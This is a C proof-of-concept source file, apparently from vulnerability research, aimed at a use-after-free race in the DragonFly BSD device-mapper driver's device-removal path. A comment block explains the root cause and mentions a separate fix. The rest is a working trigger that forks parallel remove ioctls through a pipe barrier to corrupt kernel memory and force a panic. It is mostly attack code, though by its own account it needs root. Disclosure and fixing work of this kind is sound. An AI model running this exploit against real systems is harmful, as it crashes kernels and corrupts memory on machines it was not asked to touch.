DF-2443 / dm_deadlock_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 | /* * DF-2443 PoC -- dm_dev_remove lifecycle: deadlock-forces-UAF. * * Sibling of DF-2447; SAME underlying root-cause lifecycle bug in * sys/dev/disk/dm/dm_dev.c / dm_ioctl.c, framed here from the * deadlock-design angle. * * THE BUG (DF-2443 framing): * * disable_dev() in dm_dev.c:65-77 does: * * 66: disable_dev(dm_dev_t *dmv) * 68: KKASSERT(lockstatus(&dm_dev_mutex, curthread) == LK_EXCLUSIVE); * 70: TAILQ_REMOVE(&dm_dev_list, dmv, next_devlist); * 71: dm_dev_counter--; * 73: lockmgr(&dmv->dev_mtx, LK_EXCLUSIVE); * 74: while (dmv->ref_cnt != 0) * 75: cv_wait(&dmv->dev_cv, &dmv->dev_mtx); <-- waits for ref_cnt==0 * 76: lockmgr(&dmv->dev_mtx, LK_RELEASE); * * dm_dev_remove() (dm_dev.c:304) calls disable_dev(dmv). Therefore a caller * that HOLDS a busy reference on @dmv (ref_cnt>=1) CANNOT call dm_dev_remove: * disable_dev would cv_wait forever for the caller's OWN reference to drain * => DEADLOCK. * * This forces dm_dev_remove_ioctl() (dm_ioctl.c:330) into the unsafe pattern: * * 349: if ((dmv = dm_dev_lookup(name, uuid, minor)) == NULL) ref_cnt 0->1 * 354: is_open = dmv->is_open; * 356: dm_dev_unbusy(dmv); <-- MUST drop the busy ref here, * 358: if (is_open) otherwise dm_dev_remove below * 359: return EBUSY; would deadlock in disable_dev. * 361: return dm_dev_remove(dmv); <-- uses dmv AFTER the ref is dropped * * The drop-ref-then-remove window between line 356 (dm_dev_unbusy) and line 361 * (dm_dev_remove) is the UAF: the caller dereferences dmv while holding NO * reference, so a concurrent remover that stacked its lookup on top can race * through dm_dev_remove -> disable_dev (ref already 0) -> dm_dev_destroy -> * kfree(dmv), freeing the very same dm_dev_t out from under the first caller. * The first caller then calls dm_dev_remove(dmv) on FREED memory: disable_dev's * TAILQ_REMOVE reads dmv->next_devlist (slab-poisoned under INVARIANTS) and * lockmgr(&dmv->dev_mtx,...) on a freed lock => use-after-free / double-free. * * So: disable_dev's wait-for-refcnt-zero design makes it impossible to call * dm_dev_remove while holding a reference (deadlock), which FORCES the unbusy- * then-remove pattern, which CREATES the UAF window. Fix the design (atomic * lookup+remove under dm_dev_mutex, no caller-held long-lived reference) and * both the deadlock and the UAF vanish -- that is fix.diff. * * This PoC drives the remove-vs-remove race (the observable consequence of the * design bug): it repeatedly creates a dm device and fires N concurrent remove * ioctls at it through a pipe barrier so the lookups stack (ref_cnt 0->1->2) * before any dm_dev_unbusy runs. Under INVARIANTS the UAF panics (corrupted- * list assertion "Bad link elm ... prev->next != elm", slab freed-object deref, * lockmgr-on-freed, or double-free). * * PRIVILEGE NOTE: /dev/mapper/control is created 0640 root:operator * (device-mapper.c:181) and the dm module must be kldload-ed by root. The whole * dm ioctl surface is therefore root/operator-only. This is a root->kernel * memory-corruption / local-DoS bug; there is NO unprivileged path (maxx uid * 1001 not in wheel/operator cannot open the control dev or kldload), so uid0 * escalation is blocked by privilege -- a VALID hard blocker (root->kernel is * game-over by definition). See VERDICT.md. * * Build: cc -O2 -o dm_deadlock_uaf dm_deadlock_uaf.c -lprop * Run: ./dm_deadlock_uaf (as root, after `kldload dm`) * ./dm_deadlock_uaf 8 2000 (racers=8, iterations=2000) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2443racer" static int g_ctlfd = -1; static int g_iters = 2000; /* * Build a libprop dictionary for a dm ioctl command. dm_check_version() * requires version major==4, minor<=16. */ static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); if (dict == NULL) { fprintf(stderr, "[!] prop_dictionary_create failed\n"); exit(1); } ver = prop_array_create(); prop_array_add_uint32(ver, 4); /* major */ prop_array_add_uint32(ver, 0); /* minor <= 16 */ prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_cmd(const char *command) { prop_dictionary_t dict; int rv; dict = new_dm_dict(command); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); prop_object_release(dict); return rv; } /* * Racer child: wait on the barrier (read 1 byte), then fire a single remove * ioctl. The barrier makes all racers issue remove at the same instant so * their dm_dev_lookup() calls stack (ref_cnt 0->1->2...) before any * dm_dev_unbusy() runs -- which is exactly the precondition for the UAF. */ static void racer(int barrier_fd) { char b; int rv; /* block until parent says GO for this iteration */ if (read(barrier_fd, &b, 1) != 1) _exit(0); rv = do_cmd("remove"); (void)rv; /* ignore: 0 = we won, ENOENT = someone else removed first */ _exit(0); } int main(int argc, char **argv) { int n_racers = 8; int iter, r, rv; int status; if (argc >= 2) n_racers = atoi(argv[1]); if (argc >= 3) g_iters = atoi(argv[2]); if (n_racers < 2) n_racers = 2; g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, " (need root; is `dm` loaded? run: kldload dm)\n"); return 1; } printf("[*] DF-2443 dm_dev_remove deadlock-forces-UAF racer\n"); printf("[*] racers=%d iterations=%d dev=%s\n", n_racers, g_iters, DEV_NAME); printf("[*] hammering remove-vs-remove race; expect INVARIANTS panic /\n"); printf(" slab freed-object deref / double-free / lockmgr-on-freed\n"); fflush(stdout); for (iter = 0; iter < g_iters; iter++) { /* * Make sure no leftover device from a previous iteration; ignore * ENOENT. Then create a fresh device for the racers to fight over. */ rv = do_cmd("remove"); (void)rv; rv = do_cmd("create"); if (rv != 0 && rv != EEXIST) { /* create failed for an unexpected reason -- report & skip */ if ((iter % 500) == 0) fprintf(stderr, "[!] iter %d create rv=%d (%s)\n", iter, rv, strerror(rv)); continue; } /* * Spawn n_racers, each blocked on a pipe barrier. Then write one GO * byte per racer so they all fire remove simultaneously. */ int pipes[64][2]; pid_t pids[64]; if (n_racers > 64) n_racers = 64; for (r = 0; r < n_racers; r++) { if (pipe(pipes[r]) < 0) { pids[r] = -1; continue; } pids[r] = fork(); if (pids[r] == 0) { /* child: close write end, wait for GO, then race */ close(pipes[r][1]); racer(pipes[r][0]); /* not reached */ } close(pipes[r][0]); /* parent keeps write end */ } /* fire the barrier -- all racers issue remove concurrently */ for (r = 0; r < n_racers; r++) { if (pids[r] > 0) { char go = 'G'; write(pipes[r][1], &go, 1); close(pipes[r][1]); } } /* reap */ for (r = 0; r < n_racers; r++) { if (pids[r] > 0) waitpid(pids[r], &status, 0); } if ((iter % 500) == 0) { printf("[*] iter %d/%d survived so far\n", iter, g_iters); fflush(stdout); } } do_cmd("remove"); /* cleanup */ close(g_ctlfd); printf("[!] exhausted %d iterations without a panic -- race not hit this run\n", g_iters); return 0; } |